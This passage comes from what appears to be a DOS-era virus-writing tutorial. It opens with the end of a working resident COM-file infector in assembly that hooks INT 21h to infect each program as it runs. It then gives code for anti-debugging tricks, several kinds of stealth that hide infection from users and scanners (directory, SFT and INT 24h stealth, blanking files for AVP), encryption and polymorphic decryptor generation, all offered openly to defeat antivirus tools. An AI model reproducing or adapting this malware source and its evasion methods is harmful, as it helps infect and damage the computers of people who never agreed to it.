       mov     ds:[21h*4+2], es        ; in high memory

done_install:
       pop     ds
       pop     es
restore_COM:
       mov     di, 0100h               ; Where to move data
       push    di                      ; In what offset will the ret go
       lea     si, [bp+offset old3]    ; What to move
       movsb                           ; Move 3 bytes
       movsw
       ret                             ; Return to 100h

old3            db      0cdh,20h,0

int21:
       push    ax
       push    bx
       push    cx
       push    dx
       push    si
       push    di
       push    ds
       push    es

       cmp     ax, 4B00h               ; execute?
       jz      execute
return:
       jmp     exitint21
execute:
       mov     word ptr cs:filename, dx
       mov     word ptr cs:filename+2, ds

       mov     ax, 4300h               ; Get attributes for later restore
       lds     dx, cs:filename
       int     0021h
       jc      return
       push    cx
       push    ds
       push    dx

       mov     ax, 4301h               ; clear file attributes
       push    ax                      ; save for later use
       xor     cx, cx
       int     0021h

       lds     dx, cs:filename         ; Open file for read/write
       mov     ax, 3D02h
       int     0021h
       xchg    ax, bx

       push    cs                      ; Adjust segments
       pop     ds

       push    cs
       pop     es                      ; CS=ES=DS

       mov     ax, 5700h               ; get file time/date
       int     0021h
       push    cx
       push    dx

       mov     cx, 001Ah               ; Read 1Ah bytes of file
       mov     dx, offset readbuffer
       mov     ah, 003Fh
       int     0021h

       mov     ax, 4202h               ; Move file pointer to the end
       xor     dx, dx
       xor     cx, cx
       int     0021h

       cmp     word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
       jz      jmp_close
       mov     cx, word ptr [offset readbuffer+1] ; jmp location
       add     cx, heap-start+3        ; convert to filesize
       cmp     ax, cx                  ; equal if already infected
       jl      skipp
jmp_close:
       jmp     close
skipp:

       cmp     ax, 65535-(endheap-start) ; check if too large
       ja      jmp_close               ; Exit if so

       mov     di, offset old3         ; Restore 3 first bytes
       mov     si, offset readbuffer
       movsb
       movsw

       sub     ax, 0003h
       mov     word ptr [offset readbuffer+1], ax
       mov     dl, 00E9h
       mov     byte ptr [offset readbuffer], dl
       mov     dx, offset start
       mov     cx, heap-start
       mov     ah, 0040h               ; concatenate virus
       int     0021h

       xor     cx, cx
       xor     dx, dx
       mov     ax, 4200h               ; Move pointer to the beginning
       int     0021h


       mov     dx, offset readbuffer   ; Write first 3 bytes
       mov     cx, 0003h
       mov     ah, 0040h
       int     0021h


close:
       mov     ax, 5701h               ; restore file time/date
       pop     dx
       pop     cx
       int     0021h

       mov     ah, 003Eh               ; Close file
       int     0021h

       pop     ax                      ; restore file attributes
       pop     dx                      ; get filename and
       pop     ds
       pop     cx                      ; attributes from stack
       int     0021h

exitint21:
       pop     es
       pop     ds
       pop     di
       pop     si
       pop     dx
       pop     cx
       pop     bx
       pop     ax

       db      00EAh                   ; return to original handler
oldint21        dd      ?

signature       db      '[PS/G�]',0

heap:
filename        dd      ?
readbuffer      db      1ah dup (?)
endheap:
       end     start
;���[ CUT HERE ]��������������������������������������������������������������

Sorry. I'm a goddman lazy, i know. You can think this is a lame attitude.
Maybe. But think i'm making this document at time i'm making some viruses and
making some stuff for my magazine, so i haven't enough time for make my own
decent viruses. Hey! No one pays me for do this, you know? :)

��Ĵ Armouring your code �����������������������������������������������������

This is a very discused theme in the scene. Many VXers protects their code in
order to make AVers life more difficult. Of course we are talking about
antidebugging routines. There are a lot of techniques that all we know... but
it's good to see a couple of them here... don't you think?

This things have a lot of possible functions. They are a lot of configurable.
You can do custom-made routines for your virus, too. I think put at least one
of this routines in your polymorphic engine ( in long-routines table, like
Wintermute's Zohra virus ) for fool the AVs which try to decrypt our code.
Here we go!

A very useful thing is deactivate keyboard. When we deactivate keyboard the
debugger user can't trace anymore ( F7 in TD ). If user runs the program at
full speed... no problem! just an int 3 ( Breakpoint ) will do the rest. It's
a very simple thing that works preety good! Let's see some code:

bye_keyb:
       in      al,21h                  ; Let's deactivate keyboard
       or      al,02h                  ; Try to press any key...
       out     21h,al

fuck_int3:
       int     3h                      ; Breakpoint

exit_adbg:
       in      al,21h                  ; Let's activate keyboard
       and     al,not 2                ; keyb works now
       out     21h,al                  ; cool :)

This is a good method. Think you can do... deactivate keyboard all time when
our virus is being run will: keep the lamer-user get astonished, wont allow
him to press damned ^C, all you want to do can be made. Really useful and
simple thing.

Another method is play with the stack. Many antidebuggers suck with this old
and simple thing. You can do whatever you want with this in order to fuck'em.
Code? Here you have:

do_shit_stack:
       neg     sp
       neg     sp

Simple, huh? You can also do a NOT instead of NEG. Same result.

tons_of_shit:
       not     sp
       not     sp

What a NEG does? It increases register by one and then apply a NOT on the
result. But it's very old trick... you can add it but better search for
others, this is not definitive with quality debuggers like S-ICE. But if
you are doing a poly engine you can add a simple soutine like this and AVP
will suck trying to decrypt your virus. Hehe... Kaspersky's babe sux! Erhm...
I forget it... TBCLEAN says "Approached stack crash" :) Ok... continue this
shit. Another method you can use is overflow the stack:

overflower:
       mov     ax,sp
       mov     sp,00h
       pop     bx
       mov     sp,ax

Of course... there are more. Another of the classics is to hook int 1 and/or
int 3. You have many modes to do this. Well, we offer you some of this.

change_int1_and_int3_using_dos:
       mov     ax,2501h                ; AL = INT to hook
       lea     dx,newint               ; Take care if we need
       int     21h                     ; � offset, by adding it... ok?
       mov     al,03h
       int     21h
       [...]
newint:
       jmp     $
       iret                            ; Why if don't used? hehehe :)

This routine can be notified by a TSR watchdog. We recommend you to use the
below method.
hookin' by direct manipulation:

int1:
       xor     ax,ax                   ; Let's try to put an IRET in INT 1
       mov     es,ax                   ; We need ES = 0. IVT is in 0000:0000
       mov     word ptr es:[1h*4],0FEEBh ; a jmp $

int3:
       xor     ax,ax
       mov     es,ax
       mov     word ptr es:[3h*4],0FEEBh ; a jmp $

If you don't want to hang the computer just replace the 0FEEBh to 0CF90h ( a
nop and a iret [ reverse order, of course ] ).
Well, if you still want more here you have more.
A very cool idea you can have is to make int 3 point to int 21, and then you
can use this int instead the int 21. This will be good for two things: fuck
debuggers and optimize your code... why it optimize your code? the int 21
opcode is CD 21 ( takes two bytes ), and the int 3 is only CC...
Remember that the int 3 is a breakpoint for debuggers, so everytime you call
int 3 the debugger will stop :) Here you have the code:

getint21:
       mov     ax,3521h                ; Get interrupt vectors
       int     21h
       mov     word ptr [int21_ofs],bx
       mov     word ptr [int21_seg],es

       mov     ax,2503h
       lea     dx,jumptoint21
       int     21h
       [...]

jumptoint21    db      0EAh
int21          equ     this dword
int21_ofs      dw      0000h
int21_seg      dw      0000h

Remember store int 3 vectors. Isn't good to let an interrupt point to a
routine that doesn't exists.
We can also make compares with the stack in order of know if we're being
debugged. Here you have some examples:

stack_compares:
       push    ax
       pop     ax
       dec     sp
       dec     sp
       pop     bx
       cmp     ax,bx
       jz      exit_adbg               ; not debugged
       jmp     $                       ; hang computers is cool ;)
exit_adbg:

Remember, if needed, disabling interrupts ( cli ) and enabling later ( sti ) ;)
Yes, there are more methods for armour our code. They're so old, but hey! they
work! Take a look to the next one... play with the prefetch is very known. I
like a lot this method. Take a look to this code:

prefetch:
       mov     word ptr cs:fake,0FEEBh ; Why do you think this made
fake:  jmp     nekst                   ; if debugged? Yes, hang PC!
nekst:                                 ; Continue with your code here

You can also do much more things with the prefetch. You can jump to a routine,
or put a hlt ( hangs too )... whatever you want, like this:

prefetch_fun:
       mov     word ptr cs:fake2,04CB4h
fake2: jmp     bye_fake
       int     21h
bye_fake:

This code will terminate the execution of yer program. Quite kewl.
Now, a specific routine for Soft Ice ( the best debugger also fooled )
At least this is a lot of ppl say. More code here:

soft_ice_fun:
       mov     ax,0911h                ; Soft-ice function for exec. command
       mov     di,4647h                ; DI = "FG"
       mov     si,4A4Eh                ; SI = "JM"
       lea     dx,soft_ice_fuck        ; Yeah
       int     03h                     ; Int for breakpoints

soft_ice_fuck  db      "bc *",10,0

Another trick is to hook int 8 and put there a compare to a variable in our
resident code, because a lot of debuggers deactivate all interrupts except
the int 8. The int 8 is executed 18.2 times in an only second. I recommend
you to save the old handler before hook it. Do you want code? here you have

save_old_int8_handler:                 ; You remember 40-hex magazine?
       mov     ax,3508h                ; This routine is from issue #7
       int     21h
       mov     word ptr [int8_ofs],bx
       mov     word ptr [int8_seg],es
       push    bx es
       mov     ah,25h                  ; Put int 8 handler
       lea     dx,virii
       int     21h
fuckin_loop:
       cmp     fuckvar,1               ; This will cause a little delay
       jnz     fuckin_loop
       pop     ds ds

       int     21h
       mov     ax,4C00h
       int     21h

fuckvar        db      0
int8           equ     this dword
int8_ofs       dw      0000h
int8_seg       dw      0000h
program:
               ; bla bla bla
       mov     fuckvar,1
               ; more and more bla
       jmp     dword ptr [int8]

Remember Demogorgon lesson : " Unprotected code is public domain "
Hey! Be careful if you need the delta offset ( i.e. runtime <g> viruses ),
and add it... ok?

��Ĵ Stealth �����������������������������������������������������������������

What is stealth ? Stealth in VX world is the name we give to all this stuff
that allow us the possibility of hide the infection symptoms, like file size
grow, " Abort, Retry, Ignore " error when we execute a program in a protected
to disk write floppy, read the disinfected version of a file, the file date
seems to bee good... Stealth is also the name of a VX group ( SGWW ), but
this is another history :)

INT 24h stealth
���������������

Yes, this is stealth. You can think this stuff is quite old and else, but i
believe this is the first attempt to make stealth implemented in viruses.
The target is avoid the message " Abort, Retry, Ignore " when we're executing
a program in a write-protected floppy, cause the virus want to write, and it
does, but DOS notify this error. If the user sees this message will suspect
there's something wrong...
This is very easy. All we need is to replace the original INT 24h vectors
( the int that handles critical errors ) to a fake interrupt where the only
code is a " mov al,3 " followed by an " iret ".
Let's see:

       mov     ax,3524h
       int     21h
       mov     word ptr [int24_off],bx
       mov     word ptr [int24_seg],es

       mov     ax,2524h
       lea     dx,int24handler
       int     21h
       [...]

int24handler:
       mov     al,3
       iret

Directory stealth
�����������������

There are two kinds of directory stealth: by FCBs and by handles.

� FCB stealth:

Do you remember the FCB structure? You can take a look to STRUCTURES chapter
if you've alzheimer :)
Well, let's see... Our target here is to susbract the virus size to the
actual infected virus size. You must add something like this to your int 21h
handler:

       [...]
       cmp     ah,11h                  ; FindFirst ( FCB )
       je      FCBstealth
       cmp     ah,12h                  ; FindNext ( FCB )
       je      FCBstealth
       [...]

Then we create a procedure called FCBstealth ( or the name you like more ),
and put in it a fake interrupt call. Then we check if result is 0. If it is,
we jump directly to the interrupt return. Else, we continue. Now we push the
register what we use ( AX, BX, ES ), and we call to the INT 21h function
AH=2Fh, that return us the address of the DTA in ES:BX. It's time to check
if the FCB is norrmal or extended. We can know it by comparing the first byte
of FCB ( in ES:[BX] ) with FFh. If it's equal, the FCB is extended, so we
fix it by adding 7 bytes to BX. If it's normal we preserve it. Now we check
if the file was previously infected. For make our stuff easiest, i will
assume that the infection mark is to set up seconds to 60 ( an impossible
value ). If it isn't infected, we skip that file. Now it's time to substract
the virus size, and... here we have! FCB stealth! Let's see code:

FCB_Stealth:
       pushf
       call    dword ptr cs:[oldint21] ; Fake call to INT 21h
       or      al,al                   ; Optimized cmp al,0
       jnz     error

       push    ax bx es

       mov     ah,2Fh                  ; Get DTA address in ES:BX
       int     21h

       cmp     byte ptr es:[bx],0FFh   ; Is FCB extended ?
       jne     normal
       add     bx,07h                  ; No, fix it
normal:
       mov     ax,es:[bx+17h]          ; Get seconds
       and     ax,1Fh                  ; Unmask seconds
       xor     al,1Eh                  ; Are seconds = 60 ? ( 30*2 )

       jne     not_infected            ; No, skip it

       sub     word ptr es:[bx+1Dh],virus_size ; Substract virus size
       sbb     word ptr es:[bx+1Fh],0  ; With borrow, too

not_infected:
       pop     es bx ax

error:
       retf    02

� Handle stealth:

The handle is another way to do the same than FCB stealth. Our objective is
the same, hide the size ( and seconds if required )... but the function we
must intercept and the things we must change are a little bit different ( if
not we used the same code than above ) ;)
Well, the code placed in your INT 21h handler is something like this:

       [...]
       cmp     ah,4Eh                  ; FindFirst ( Handle )
       je      HandleStealth
       cmp     ah,4Fh                  ; FindNext ( Handle )
       je      HandleStealth
       [...]

And now, I'll explain how is a typical routine for Handle stealth.
Firstly, we make a fake call to the old INT 21h ( after pushing flags, of co-
urse ). After this, we save the registers we're going to use ( AX, BX, ES ),
and get the DTA in ES:BX ( AH=2Fh ). We check for previous infection ( secs
in ES:[BX+17h] ), and if it's already infected, we substract thi virus size
to the file size. It's very similar to the above stealth method, but, as you
can see, there're some things that make it different :)
A theory lesson is a shit without some code :)

HandleStealth:
       pushf
       call    dword ptr cs:[oldint21] ; Fake call to DOS API
       jc      goback                  ; CF=1 if error

       push    ax bx es                ; Save registers we use

       mov     ah,2Fh                  ; DTA @ ES:BX
       int     21h

       mov     ax,es:[bx+16h]          ; Get the file time
       and     ax,1Fh                  ; Unmask Seconds
       xor     al,1Eh                  ; 60 ? ( Compare in optimized way ) :)
       jne     damnedpops              ; Fuck!

       sub     word ptr es:[bx+1Ah],virus_size ; Guess...
       sbb     word ptr es:[bx+1Ch],0

damnedpops:
       pop     es bx ax                ; Get the old values

goback:
       retf    02

Problems in directory stealth
�����������������������������

There're some problems that need to be fixed, in order to avoid user's panic.
We need to check if some programs are being run:

- Compressors, such PKZIP, RAR, ARJ, LHA, AIN, etc. because if we give them
an incorrect size, they'll fuck in order to compress files :(

- Utilities like CHKDSK, that will be fucking around showing a neverending
errors list, cause of the size in sectors isn't equal to the size we show
to the user eyes :(

- AVs, like F-PROT, AVP and other SCUM, to prevent their messages about a
probable infection by a stealth virus.

So, it's a good idea to waste some code space making comparisons in order to
see if one of this program is being run, and then deactivate stealth ( and
activate later, when we're outside danger )

INT vectors stealth
�������������������

This kinda stealth is very easy. When we use this method, we are trying to
give the original vectors ( this ones that we caught before install our own
interrupt handler ) to the programs that request for it. This is good for
some things: our interrupt handler will be always the first. Let's see what
we have to add to our INT 21h vectors if we've hooked the said INT.

       [...]
       cmp     ax,3521h                ; Get INT 21h vectors
       je      RequestINT21h
       cmp     ah,2521h                ; Put INT 21h vectors
       je      PutNewINT21h
       [...]

And our routines look like this:

RequestINT21h:
       mov     bx,word ptr cs:[int21_off] ; Return in BX the old int offset
       mov     es,word ptr cs:[int21_seg] ; Return in ES the old int segment
       iret

PutNewINT21h:
       mov     word ptr cs:[int21_seg],ds ; Put the new segment in int21_seg
       mov     word ptr cs:[int21_off],dx ;  "   "   "  offset  "  int21_off
       iret

Time stealth
������������

Here i can't put code because this thing is very personal, it must be custom-
made to your needs when coding your virus. You can use many ways for mark the
infected files... Put seconds to 60, 62... ( impossible ), increase years by
100, make equal seconds and day... The way for obtain time and date is with
the function AX=5700h, and for put new values the AX=5701h. In CX goes time,
and in DX, date ( the ones we must intercept for make the stealth )

SFT stealth
�����������

If you remember the preety structure called SFT, at offset 11 we had a dword
that shows the file size. All we need is to see if the file was already inf-
ected, and if it was, substract to the file size the virus size. Let's see
a little piece of code ( assuming the infection mark is seconds = 60 and we
have called to a routine that gave us the SFT in ES:DI ):

Infect:
       [...]
       mov     ax,word ptr es:[di+0Dh] ; Get time
       and     al,01Fh                 ; Unmask seconds
       cmp     al,01Eh                 ; Seconds = 60 ?
       jnz     AintInfected            ; No, infect it

       sub     word ptr es:[di+11h],virus_size ; Yes, substract virus size
       sbb     word ptr es:[di+13h],0000h
       [...]
AintInfected:
       [...]

There is a good thing you can do for avoid the AVP 3.0 scanning. First, we
must know if AVP is here. When AVP 3.0 opens a file, there're some values
that let us know it is fucking around ( BX=5, SI=402Dh ). It's time to get
SFT, and then make all file zero-size for Kaspersky's son, with two only
code lines:

       mov     word ptr es:[di+11h],0000h
       mov     word ptr es:[di+13h],0000h

or only one if we can :)

       mov     dword ptr es:[di+11],00000000h

Disinfection on the fly
�����������������������

Here again, i can't give you some code. It must be custom made... Well, i
can give you the INT 21h lines, but nothing else:

       [...]
       cmp     ah,03Dh                 ; Open file
       jz      Disinfect
       cmp     ax,6C00h                ; Extended open
       jz      Disinfect
       cmp     ah,03Eh                 ; Close file ( infect now!!! )
       jz      Infect
       [...]

Now we must note one thing... we must fix some things for make the same rout-
ine for AH=3Dh and AX=6C00h.

1. The file name is in DS:DX in AH=3Dh, and in DS:SI in AX=6C00h
2. The open mode is in AL in AH=3Dh, and in BL in AX=6C00h

In DX we have
So we need to make a routine for fix the access with the 6C00h function. It
probably will look like this:

Disinfect:
       cmp     ax,6C00h                ;
       jne     Check
       cmp     dx,1
       jne     ExitDisinfection
       mov     al,bl                   ; Open mode in AL
       mov     dx,si                   ; File name is now in DS:DX
Check:
       mov     ax,5700h
       int     21h                     ; If we've hooked this function,
                                       ; we need to make a fake call! ( or
                                       ; use SFTs! )
       and     cl,1Fh                  ; Unmask seconds
       or      cl,1Eh                  ; Is it 60?
       jnz     NotInfected
       [...]

The disinfection way is a routine that you must to do. It can't be as general
as FCB stealth, because you can choose between a lot of things. Ok, i'm gonna
explain at least how it works.

� Disinfection of COM files:

The disinfection of COM files is very easy. We need to restore the first
bytes we've changed on infection by the original ones ( ussually 3 bytes ),
restore the original time/date of the file, and remove the virus body ( trun-
cating the file at offset "end of file - virus size" ).

� Disinfection of EXE files:

This is a little bit more hard to do, but not to understand :)
We need to restore the original header of the file, restore the time/date and
remove the virus body at the end of the file. But the problem comes when our
virus is encrypted. You have to choose between leave this bytes unencrypted
( giving to the AVs the way to disinfect our virus <g> ) or decrypt this
bytes.
Anyways, it's very simple.

Last words about stealth
������������������������

There're more stealth methods, like 4202 stealth, sector stealth... but i've
explained the most simple and used ones.
Probably the worst thing in some kinds of stealth is the uncompatibilities
with some software, that can fuck our need to be hidden.
After reading this, you would wonder why "Is stealth useful ?". The answer
is a great YES. This is one of the best methods for conceal the possible
infection to the user: the files seem to have the same size than before the
infection, when an AV is executed and we have a disinfection routine, this
AV won't detect anything ( the same for those niggas that waste their time
using an HEX editor in order to see if something's wrong ), and a lot of
more things. The best you can do is deactivate stealth when a program like
CHKDSK, or PKZIP. All this in yer hands...

��Ĵ Encryption ��������������������������������������������������������������

Encryption techniques are really old, but they're still effective, and very
used. Problably is one of the things that survived many years in concept, but
with continuous improvements like polymorphism, metamorphism, and such like.
Our target is to hide all our text strings, suspicious opcodes, and all our
stuff of the user eyes. We can do it with a simple math operation, applied
to all bytes of our virus body. For example, we can increase by one all the
bytes of our virus, and we can see that there isn't a readable text string or
something in our virus :)
The structure of an encrypted virus is like this:

        �����������������������������������Ŀ       It's very simple. There's
      �ij        Call to decryptor          �       a call to the decryptor,
      � �����������������������������������Ĵ���Ŀ when the decryptor ends
      � �                                   �     � its job, it gives the
      � �                                   �     � control to the virus, and
      � �          Infected file            �     � when the virus ends its
      � �                                   �     � execution, the control is
      � �                                   �     � returned to the original
      � �����������������������������������Ĵ�Ŀ � program.
      � �                                   �   � �
      � �           Virus body              �   � �
      � �                                   �   � �
      ������������������������������������Ĵ������
        �            Decryptor              �   �
        �����������������������������������������

There is a math operation that gives us one advantage. We can use the same
procedure to encrypt and decrypt our code. Of course we're talking about
XOR, the most used instruction for decryptors. There're two more instructions
that can be used for our purposes of using the same procedure for encrypt and
decrypt: NOT and NEG. The most used of this two is the first one.
Of course, we can use a lot of more instructions for encryption. I'll show
you a little list of instuctions we can use:

INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc...

The simplest way for encrypt our virus is to use a routine like this:

encryption:
       mov     cx,encrypt_size         ; encrypt_end-encrypt_start
       mov     di,[bp+encrypt_begin]   ; From where
       mov     si,di                   ; For lodsb/stosb
       mov     al,key                  ; Value for XOR. Subst key with whate-
                                       ; ver you want
encryption_loop:
       lodsb                           ; Move a byte from DS:SI to AL
       xor     al,ah
       stosb                           ; Move a byte from AL to ES:DI
       loop    encryption_loop
       ret

This procedure is really poor. It only have 255 posibilities because we're
working with a 8-byte register as key ( AL ).
Of course this is the simplest way. We must take note of some things:

- If we use a routine like this, and we haven't a second copy of our virus
in memory ( i will talk about it in this same article ), when using this
routine we must left unencrypted the procedure that copies ( and call to
encrypt procedure too ) virus to the victim.

- We must take care of the virus state in its first generation: it's unenc-
rypted. Using xor, we can use the value of 00 to make this, in the first
generation, and make a procedure that changes this value in the code.

Now, we'll see how is the above encryption procedure when using a 16-byte
encryption as the key:

encryption:
       mov     cx,(encrypt_size+1)/2   ; encrypt_end-encrypt_start/2
       mov     di,[bp+encrypt_begin]   ; From where
       mov     si,di                   ; For lodsb/stosb
       mov     dx,key                  ; Value for XOR. Subst key with whate-
                                       ; ver you want
encryption_loop:
       lodsw                           ; Move a word from DS:SI to AX
       xor     ax,dx
       stosw                           ; Move a word from AX to ES:DI
       loop    encryption_loop
       ret

The problem is: if we left the copy and encryption procedures unencrypted...
what will AV do? They have in our hard worked virus ( yes, yes, the same in
what we spend a lot of weeks of work trying to make it anti-heuristic,
stealth, with a lot of cool tricks, a new and wonderful stuff...) a scan
string enough big for add it to their AV. In five minutes they implemented in
their AV the way for detect our virus. Argh! A VXer spends days in create a
decent virus, and because he used a simple encryptor like this, in 5 minutes
our enemies have the way for detect us! This world is really a shit! :(
But, the VXers never surrender, so... We need to make the decryptor as small
as possible. Ain't enough. In the next chapter you'll have the best possible
answer :)

How we can have a second copy of our virus in memory? It's very simple.
After the label that marks the last byte that the virus will copy, we can
have something like this:

virus_end      label   byte            ; The label that marks end of virus

enc_buffer     db      (offset virus_end-offset virus_start) dup (090h)

The enc_buffer variable will only have code in the first generation. When we
spread the virus, this variable won't be copied within it. But we can use
its offset for have a second copy of our virus there. What we can do is...

- When we copy our virus to memory ( in a TSR one ), we make this another
time, and when we're putting in the code the EXE header, or the first bytes
of the COM, we put them in the same offset where this variables will go
shifted by virus size. Ok, i'll explain it better. Imagine we have something
like:

       mov     ah,3Fh
       mov     cx,4
       lea     dx,old3bytes
       int     21h

Ok. Then, if we have the second copy of the virus in memory, we must subst
the third line for something like:

       lea     dx,virus_size+old3bytes

The best way is to experiment with it...

- Or we can copy the virus body just before the appending: we have all the
variables set. The movement will be like this:

       mov     cx,virus_size
       xor     si,si
       mov     di,offset virus_begin
       rep     movsb

We encrypt it, append this second copy and... that's all folks!

��Ĵ Polymorphism ������������������������������������������������������������

This is one of the most interesting things in a virus. It's also very funny
to code a PER ( Polymorphic Encryption Routine ), and it shows clearly how
is the " style " of the VXer that coded it. It's also the thing that all
beginners think that is very hard to do, and only the experimented VXers can
do it. DON'T THINK IT! It's very simple. Don't be afraid. If you've arrived
till here alive, i'm sure you'll understand ALL. This chapter is an extension
of the ENCRYPTION chapter.

Our objective doing a PER is the neverending one in the VX world : defeat
AVs by minimizing the scan string of our viruses, aka FUCK'EM ALL! :)
The concept is to generate different decryptors for each infection, so the
AVs will suck in order to detect our virus. And this technique, with STEALTH,
ARMOURING, ANTI-HEURISTICS and ANTI-BAITS can make your viruses very powerful

Ok, let's begin with the interesting stuff.

History
�������

The first attempts to make a PER were made by a bulgarian coder, probably one
of the bests virus creators ever, called Dark Avenger. His viruses were, are
and will be a touch stone for all VXers. From his first viruses, like Eddie,
he showed a great quality for coding. But the best stuff came with the
release of the MtE ( Mutation Engine ), the first PER in the VX history.
All AV researchers went mad in order to find a scan string for the viruses
based in this engine. After a lot of hard word ( ??? ) in the AV side they
found a reliable scan string for catch MtE. But it was just the beginning.
Masud Khafir, member of the TridenT virus research group, developed TPE,
Dark Angel of Phalcon Skism, developed DAME ( Dark Angel Multiple Encryptor )
and many other virus researchers made other cool engines. When we're talking
about the polymorphic engines, we must think that this technique was made in
1992, a long time ago. The had only to fight againist scan strings, and this,
today, is very easy.
But nowadays, the polymorphic engines have a lot of enemies: code analizers,
emulators, tracers, heuristics, and experienced AVs figthing againist us.
Firstly, VXers thought that the best option for our decryptors was to make it
as variable as they can. But the time have demonstrated that it was a wrong
idea: AVers win infect THOUSAND of baits, in order to see all possible decry-
tors the PER can generate. If we show them a very little portion of our
possible decryptors ( by using date for generate random, for example ) we're
fucking their needs. They have a scan string, but in another computer, in
another situation, this scan string won't work. This is called SLOW poly.
We'll see this in another place at this same chapter.

Introduction
������������

A polymorphic engine is the most personal thing a coder can do. At this point
i must say to you that use the polymorphics of another coder isn't as good
idea as it appear to be. It's very easy to code a decent PER, but if you use
one of another coder, you'll be limited when coding your virus.
We need to generate a decryptor, also placing junk among the real decryption
opcodes, with fake jumps, calls, antidebugging, and all we want to... Let's
see what we must put for make our PER decent...

- Generate many ways to reach the same point
- Changing the order of the opcodes that we can.
- Can be used in another viruses
- Can generate calls to do nothing INT 21h functions
- Can generate calls to do nothing interrupts
- If we want, we can make it slow poly
- Minimize all possible scan strings
- Protect the instruction generator with armour, and make it very hard to
disassemble.

When you're doing a PER, the imagination is a very good weapon. Use it for
generate as many original things as you can.

The first steps in polymorphism
�������������������������������

The easiest way to make a decryptor that changes every virus generation is
create a junk generator, and then put some decryptor instructions followed
by do-nothing instructions. This is the first attempt you can do if you
haven't created an engine. The first kind of junk are the one byters, those
simple instructions that generally we use. We must choose before do nothing,
all the junk registers. I ussually use AX, BX and DX.
Let's see a little table of one byters:

OneByteTable:
       db      09Eh                    ; sahf
       db      090h                    ; nop
       db      0F8h                    ; clc
       db      0F9h                    ; stc
       db      0F5h                    ; cmc
       db      09Fh                    ; lahf
       db      0CCh                    ; int 3h
       db      048h                    ; dec ax
       db      04Bh                    ; dec bx
       db      04Ah                    ; dec dx
       db      040h                    ; inc ax
       db      043h                    ; inc bx
       db      042h                    ; inc dx
       db      098h                    ; cbw
       db      099h                    ; cwd
EndOneByteTable:

With a simple routine that places real intructions, and other that places
junk, we have a very simple polymorphic engine. It's useful for our first
steps, but if you're coding a good virus, you must know one thing... if there
are a lot of do-nothing instructions like this, be sure AVs will show a flag.
Erhm... how we can get one of this instructions? Preety simple:

GenerateOneByteJunk:
       lea     si,OneByteTable         ; Offset of the table
       call    random                  ; Must generate random numbers
       and     ax,014h                 ; AX must be within 0 and 14 ( 15 )
       add     si,ax                   ; Add AX ( AL ) to the offset
       mov     al,[si]                 ; Put selected opcode in al
       stosb                           ; And store it in ES:DI ( points to
                                       ; the decryptor instructions )
       ret

And, of course, we need a random number generator. Here you have the simplest
one:

Random:
       in      ax,40h                  ; This will generate a random number
       in      al,40h                  ; in AX
       ret

With the above routines, that we can do is a very bad engine. Our targets are
anothers, so pay attention to the next parts of this chapter.

Some ways to make a simple operation
������������������������������������

There nearly infinite ( not at all... just milions of possibilities ) :)
ways to perform a simple instuction task. Let's imagine a " mov dx,1234h ",
without using another register:

       mov     dx,1234h

       push    1234h
       pop     dx

       mov     dx,1234h xor 5678h
       xor     dx,5678h

       mov     dh,12h
       mov     dl,34h

       xor     dx,dx
       or      dx,1234h

       mov     dx,not 1234h
       not     dx
       [...]

And in this way, more and more combinations. And of course, if we use another
register for perform our task, the possibilities increases a lot.

Changing instruction order
��������������������������

There are a lot of instructions that we can code in the order we want. And
this, combinated with the ways to perform a simple instructions, can make
our polymorphic engine really powerful.
Ussually, about all the instructions before the decryption loop can be placed
in any order, except all the PUSH/POP combinations, and the related stuff.
We are talking about this instuctions that don't depend of another for make
its job. Let's see an example:

       mov     cx,encrypt_size
       mov     si,encrypt_begin
       mov     di,encrypt_key

We can put this instructions in the order we want, a random order :)
It will do the same stuff if it looks like:

       mov     di,encrypt_key
       mov     cx,encrypt_size
       mov     si,encrypt_begin

And in this way, all the possible combinations.

Portability
�����������

It's quite easy to do a portable polymorphic engine. All we must do is to
make our PER use parameters. For example, we can use CX for handle the size
to encrypt, DS:DX point to the code to encrypt, and else. So, in this way, we
can use our engine in the virus we want.

Tables againist Blocks
����������������������

� Table based PER:

The spirit of this kinda engine types it to have all the offsets of the rou-
thines that generate junk ( one byters, fake int calls, math ops... ) in
another table. Then, with a random value, we call to one of this offsets, and
generate a random junk. Let's see an example:

RandomJunk:
       call    Random                  ; Random number in AX
       and     ax,(EndRandomJunkTable-RandomJunkTable)/2
       add     ax,ax                   ; AX*2
       xchg    si,ax
       add     si,offset RandomJunkTable ; Point to rable
       lodsw
       call    ax                      ; Call to random table offset
       ret

RandomJunkTable:
       dw      offset GenerateOneByteJunk
       dw      offset GenerateMovRegVar
       dw      offset GenerateMovRegMem
       dw      offset GenerateMathOp
       dw      offset GenerateArmour
       dw      offset GenerateCalls
       dw      offset GenerateJumps
       dw      offset GenerateINTs
       [...]
EndRandomJunkTable:

It's very easy to add new routines to a table based PER, and this kinda
engines can be very optimized ( depending of coder ).

� Block based PER:

Our objective is to make, for each instruction of the decryptor, some blocks
of a fixed size. We've one example of this kinda engine in the Elvira virus,
by Spanska, published in 29A#2. Let's see an example of one of the blocks
in the Elvira engine, the one used for compare CX with 0. Each block has
a defined size ( 6 bytes ).

       cmp cx, 0
       nop
       nop
       nop

       nop
       nop
       nop
       cmp cx, 0

       nop
       or cx, cx
       nop
       nop
       nop

       nop
       nop
       nop
       or cx, cx
       nop

       test cx, 0FFFFh
       nop
       nop

       or cl, cl
       jne suite_or
       or ch, ch
       suite_or:

       mov bx, cx
       inc bx
       cmp bx, 1

       inc cx
       cmp cx, 1
       dec cx
       nop

       dec cx
       cmp cx, 0FFFFh
       inc cx
       nop

Ass you can see, it's more easy to add new blocks to do the same task. But
this kinda engines have one weak point: the size. The Elvira's engine sucks
about the half size of the virus: 4250 bytes is the virus size, engine sucks
2000-2500 bytes of the virus. The good thing is that with adding more blocks,
we can create new strains for the virus, and make it still undetectable by
AVers :)

� And the winner is....

I think tables are the solution, because we can generate all the possible
combinations of blocks, and more. The blocks are the solution for all the ppl
that don't want to make their lifes a living hell :)

Instructions
������������

Here is the base of all polymorphic engines, the way to generate instructions
with random registers, values, memory positions...

� Notations:

Symbol�        Explanation�
 ������         �����������
imm8           byte immediate operand
imm16          word immediate operand
reg8           byte register operand
reg16          word register operand
mem8           byte memory operand
mem16          word memory operand
regmem8        byte reg/mem operand
regmem16       word reg/mem operand
d8             byte memory offset displacement
d16            word memory offset displacement
sig8           byte signed operand
sig16          word signed operand
sig32          offset:segment operand
^0,^1, etc     Reg field of the RegInfo byte contains this number as Op. info

RegInfoByte    needs the below fields
reg            a code that keeps the register to be used
